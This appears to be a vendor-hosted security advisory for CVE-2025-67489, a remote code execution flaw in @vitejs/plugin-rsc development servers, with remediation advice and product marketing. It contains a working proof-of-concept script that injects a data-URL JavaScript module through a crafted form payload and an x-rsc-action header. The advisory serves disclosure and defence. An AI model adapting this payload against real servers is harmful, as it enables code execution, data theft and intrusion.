CVE-2025-67489

CVE-2025-67489 is a critical-severity code injection vulnerability in @vitejs/plugin-rsc (npm), affecting versions <= 0.5.5. It is fixed in 0.5.6.

Summary

Arbitrary Remote Code Execution on development server via unsafe dynamic imports in @vitejs/plugin-rsc server function APIs (loadServerAction, decodeReply, decodeAction) when integrated into RSC applications that expose server function endpoints.

Details

In the example RSC application provided in Proof of Concept, the server handles server function call through API such as loadServerAction, decodeReply, decodeAction with http request's header and body as inputs:

https://github.com/vitejs/vite-plugin-react/blob/c8af971f57f12d0190d7fd8829a429f5e4112f60/packages/plugin-rsc/examples/starter/src/framework/entry.rsc.tsx#L42-L47

During development, these API internally relies on dynamic import to load server function module, which allows executing arbitrary module including data url module.

https://github.com/vitejs/vite-plugin-react/blob/c8af971f57f12d0190d7fd8829a429f5e4112f60/packages/plugin-rsc/src/rsc.tsx#L19-L24

Proof of Concept

The example app is avialable in

Reproduction Steps:

  • Stat development server vite dev
  • Run a following script node poc.js
  • See "REMOTE CODE EXECUTION1" and "REMOTE CODE EXECUTION2" in server console
// [poc.js]
const payload = {
  0: ["$F1"],
  1: { id: "data:text/javascript,console.log('REMOTE CODE EXECUTION 1')# " },
};
const fd = new FormData();
for (const key in payload) {
  fd.append(key, JSON.stringify(payload[key]));
}

const serverUrl = process.argv[2] || 'http://localhost:5173/_.rsc';
const response = fetch(serverUrl, {
  method: "POST",
  headers: {
    "x-rsc-action": "data:text/javascript,console.log('REMOTE CODE EXECUTION 2')# ",
  },
  body: fd,
})

Impact

Attackers with network access to the development server can execute arbitrary JavaScript code with Node.js privileges, allowing them to read/modify files, exfiltrate sensitive data (source code, environment variables, credentials), or pivot to other internal services. While this affects development servers only, the risk increases when using vite --host to expose the server on all network interfaces.

Untrusted input is evaluated as executable code within the application's runtime environment. Typical impact: arbitrary code execution within the application's privilege context.

CVE-2025-67489 has a CVSS score of 9.8 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.5.6); upgrading removes the vulnerable code path.

Affected versions

@vitejs/plugin-rsc (<= 0.5.5)

Security releases

@vitejs/plugin-rsc → 0.5.6 (npm)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade @vitejs/plugin-rsc to 0.5.6 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2025-67489? CVE-2025-67489 is a critical-severity code injection vulnerability in @vitejs/plugin-rsc (npm), affecting versions <= 0.5.5. It is fixed in 0.5.6. Untrusted input is evaluated as executable code within the application's runtime environment.
  2. How severe is CVE-2025-67489? CVE-2025-67489 has a CVSS score of 9.8 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of @vitejs/plugin-rsc are affected by CVE-2025-67489? @vitejs/plugin-rsc (npm) versions <= 0.5.5 is affected.
  4. Is there a fix for CVE-2025-67489? Yes. CVE-2025-67489 is fixed in 0.5.6. Upgrade to this version or later.
  5. Is CVE-2025-67489 exploitable, and should I be worried? Whether CVE-2025-67489 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2025-67489 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2025-67489? Upgrade @vitejs/plugin-rsc to 0.5.6 or later.

Other vulnerabilities in @vitejs/plugin-rsc

CVE-2025-68155

Stop the waste.
Protect your environment with Kodem.